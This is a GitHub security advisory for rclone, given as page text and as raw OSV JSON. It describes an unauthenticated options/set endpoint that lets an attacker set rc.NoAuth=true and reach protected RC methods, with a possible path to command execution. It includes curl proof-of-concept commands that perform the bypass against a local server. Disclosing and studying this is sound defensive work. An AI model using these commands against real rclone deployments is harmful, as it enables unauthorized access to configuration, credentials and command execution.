GHSA-25QR-6MPR-F7QX
Vulnerability from github – Published: 2026-04-22 14:44 – Updated: 2026-04-22 14:44Summary
The RC endpoint options/set is exposed without AuthRequired: true, but it can mutate global runtime configuration, including the RC option block itself. An unauthenticated attacker can set rc.NoAuth=true, which disables the authorization gate for many RC methods registered with AuthRequired: true on reachable RC servers that are started without global HTTP authentication. This can lead to unauthorized access to sensitive administrative functionality, including configuration and operational RC methods.
Preconditions
Preconditions for this vulnerability are:
- The rclone remote control API must be enabled, either by the
--rcflag or by running therclone rcdserver - The remote control API must be reachable by the attacker - by default rclone only serves the rc to localhost unless the
--rc-addrflag is in use - The rc must have been deployed without global RC HTTP authentication - so not using
--rc-user/--rc-pass/--rc-htpasswd/etc
Details
The root cause is present from v1.45 onward. Some higher-impact exploitation paths became available in later releases as additional RC functionality was introduced.
The issue is caused by two properties of the RC implementation:
options/setis exposed withoutAuthRequired: true- the RC server enforces authorization for
AuthRequiredcalls using the mutable runtime values.opt.NoAuth
Relevant code paths:
fs/rc/config.go- registers
options/setwithoutAuthRequired: true -
rcOptionsSetreshapes attacker-controlled input into global option blocks - request handling checks:
if !s.opt.NoAuth && call.AuthRequired && !s.server.UsingAuth()
- once
rc.NoAuthis changed totrue, laterAuthRequiredmethods become callable without credentials
This creates a runtime auth-bypass primitive on the RC interface.
After setting rc.NoAuth=true, previously protected administrative methods become callable, including configuration and operational endpoints such as:
config/listremotesconfig/dumpconfig/getoperations/listoperations/copyfilecore/command
Relevant code for the second-stage command execution path:
fs/metadata.go-
metadataMapper()usesexec.Command(...) operations/copyfileis normallyAuthRequired: true- once
rc.NoAuth=true, it becomes reachable without credentials
This was validating using the following:
- current master as of 2026-04-14: bf55d5e6d37fd86164a87782191f9e1ffcaafa82
- latest public release tested locally: v1.73.4
The issue was also verified on a public amd64 Ubuntu host controlled by the tester, using direct host execution (not containerized PoC execution).
PoC
Minimal reproduction
Start a vulnerable server:
rclone rcd --rc-addr 127.0.0.1:5572
No --rc-user, no --rc-pass, no --rc-htpasswd.
First confirm that a protected RC method is initially blocked:
curl -sS -X POST http://127.0.0.1:5572/config/listremotes \
-H 'Content-Type: application/json' \
--data '{}'
Expected result: HTTP 403.
Use unauthenticated options/set to disable the auth gate:
curl -sS -X POST http://127.0.0.1:5572/options/set \
-H 'Content-Type: application/json' \
--data '{"rc":{"NoAuth":true}}'
Expected result: HTTP 200 {}
Then call the same protected method again without credentials:
curl -sS -X POST http://127.0.0.1:5572/config/listremotes \
-H 'Content-Type: application/json' \
--data '{}'
Expected result: HTTP 200 with a JSON response such as:
{"remotes":[]}
Testing performed
This was successfully reproduced: - on the tester's ocal test environment - on a public amd64 Ubuntu host controlled by the tester
Using the public host, the following was confirmed:
- unauthenticated
options/setsuccessfully setrc.NoAuth=true - previously protected RC methods became callable without credentials
- the issue was reproducible through direct host execution
Impact
This is an authorization bypass on the RC administrative interface.
It can allow an unauthenticated network attacker, on a reachable RC deployment without global HTTP authentication, to disable the intended auth boundary for protected RC methods and gain access to sensitive configuration and operational functionality.
Depending on the enabled RC surface and runtime configuration, this can further enable higher-impact outcomes such as local file read, credential/config disclosure, filesystem enumeration, and command execution.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/rclone/rclone"
},
"ranges": [
{
"events": [
{
"introduced": "1.45.0"
},
{
"fixed": "1.73.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41176"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-22T14:44:13Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "### Summary\nThe RC endpoint `options/set` is exposed without `AuthRequired: true`, but it can mutate global runtime configuration, including the RC option block itself. An unauthenticated attacker can set `rc.NoAuth=true`, which disables the authorization gate for many RC methods registered with `AuthRequired: true` on reachable RC servers that are started without global HTTP authentication. This can lead to unauthorized access to sensitive administrative functionality, including configuration and operational RC methods.\n\n### Preconditions\n\nPreconditions for this vulnerability are:\n\n- The rclone remote control API **must** be enabled, either by the `--rc` flag or by running the `rclone rcd` server\n- The remote control API **must** be reachable by the attacker - by default rclone only serves the rc to localhost unless the `--rc-addr` flag is in use\n- The rc must have been deployed **without** global RC HTTP authentication - so not using `--rc-user`/`--rc-pass`/`--rc-htpasswd`/etc\n\n### Details\nThe root cause is present from v1.45 onward. Some higher-impact exploitation paths became available in later releases as additional RC functionality was introduced.\n\nThe issue is caused by two properties of the RC implementation:\n\n1. `options/set` is exposed without `AuthRequired: true`\n2. the RC server enforces authorization for `AuthRequired` calls using the mutable runtime value `s.opt.NoAuth`\n\nRelevant code paths:\n\n- [`fs/rc/config.go`](https://github.com/rclone/rclone/blob/bf55d5e6d37fd86164a87782191f9e1ffcaafa82/fs/rc/config.go)\n - registers `options/set` without `AuthRequired: true`\n - `rcOptionsSet` reshapes attacker-controlled input into global option blocks\n\n- [`fs/rc/rcserver/rcserver.go`](https://github.com/rclone/rclone/blob/bf55d5e6d37fd86164a87782191f9e1ffcaafa82/fs/rc/rcserver/rcserver.go)\n - request handling checks:\n - `if !s.opt.NoAuth \u0026\u0026 call.AuthRequired \u0026\u0026 !s.server.UsingAuth()`\n - once `rc.NoAuth` is changed to `true`, later `AuthRequired` methods become callable without credentials\n\nThis creates a runtime auth-bypass primitive on the RC interface.\n\nAfter setting `rc.NoAuth=true`, previously protected administrative methods become callable, including configuration and operational endpoints such as:\n\n- `config/listremotes`\n- `config/dump`\n- `config/get`\n- `operations/list`\n- `operations/copyfile`\n- `core/command`\n\nRelevant code for the second-stage command execution path:\n\n- [`fs/metadata.go`](https://github.com/rclone/rclone/blob/bf55d5e6d37fd86164a87782191f9e1ffcaafa82/fs/metadata.go)\n - `metadataMapper()` uses `exec.Command(...)`\n\n- [`fs/operations/rc.go`](https://github.com/rclone/rclone/blob/bf55d5e6d37fd86164a87782191f9e1ffcaafa82/fs/operations/rc.go)\n - `operations/copyfile` is normally `AuthRequired: true`\n - once `rc.NoAuth=true`, it becomes reachable without credentials\n\nThis was validating using the following:\n- current `master` as of 2026-04-14: `bf55d5e6d37fd86164a87782191f9e1ffcaafa82`\n- latest public release tested locally: `v1.73.4`\n\nThe issue was also verified on a public amd64 Ubuntu host controlled by the tester, using direct host execution (not containerized PoC execution).\n\n### PoC\n#### Minimal reproduction\nStart a vulnerable server:\n\n```bash\nrclone rcd --rc-addr 127.0.0.1:5572\n```\n\nNo `--rc-user`, no `--rc-pass`, no `--rc-htpasswd`.\n\nFirst confirm that a protected RC method is initially blocked:\n\n```bash\ncurl -sS -X POST http://127.0.0.1:5572/config/listremotes \\\n -H \u0027Content-Type: application/json\u0027 \\\n --data \u0027{}\u0027\n```\n\nExpected result: HTTP 403.\n\nUse unauthenticated `options/set` to disable the auth gate:\n\n```bash\ncurl -sS -X POST http://127.0.0.1:5572/options/set \\\n -H \u0027Content-Type: application/json\u0027 \\\n --data \u0027{\"rc\":{\"NoAuth\":true}}\u0027\n```\n\nExpected result: HTTP 200 `{}`\n\nThen call the same protected method again without credentials:\n\n```bash\ncurl -sS -X POST http://127.0.0.1:5572/config/listremotes \\\n -H \u0027Content-Type: application/json\u0027 \\\n --data \u0027{}\u0027\n```\n\nExpected result: HTTP 200 with a JSON response such as:\n\n```json\n{\"remotes\":[]}\n```\n\n#### Testing performed\nThis was successfully reproduced:\n- on the tester\u0027s ocal test environment\n- on a public amd64 Ubuntu host controlled by the tester\n\nUsing the public host, the following was confirmed:\n\n- unauthenticated `options/set` successfully set `rc.NoAuth=true`\n- previously protected RC methods became callable without credentials\n- the issue was reproducible through direct host execution\n\n### Impact\nThis is an authorization bypass on the RC administrative interface.\n\nIt can allow an unauthenticated network attacker, on a reachable RC deployment without global HTTP authentication, to disable the intended auth boundary for protected RC methods and gain access to sensitive configuration and operational functionality.\n\nDepending on the enabled RC surface and runtime configuration, this can further enable higher-impact outcomes such as local file read, credential/config disclosure, filesystem enumeration, and command execution.",
"id": "GHSA-25qr-6mpr-f7qx",
"modified": "2026-04-22T14:44:13Z",
"published": "2026-04-22T14:44:13Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/rclone/rclone/security/advisories/GHSA-25qr-6mpr-f7qx"
},
{
"type": "PACKAGE",
"url": "https://github.com/rclone/rclone"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Rclone: Unauthenticated options/set allows runtime auth bypass, leading to sensitive operations and command execution"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.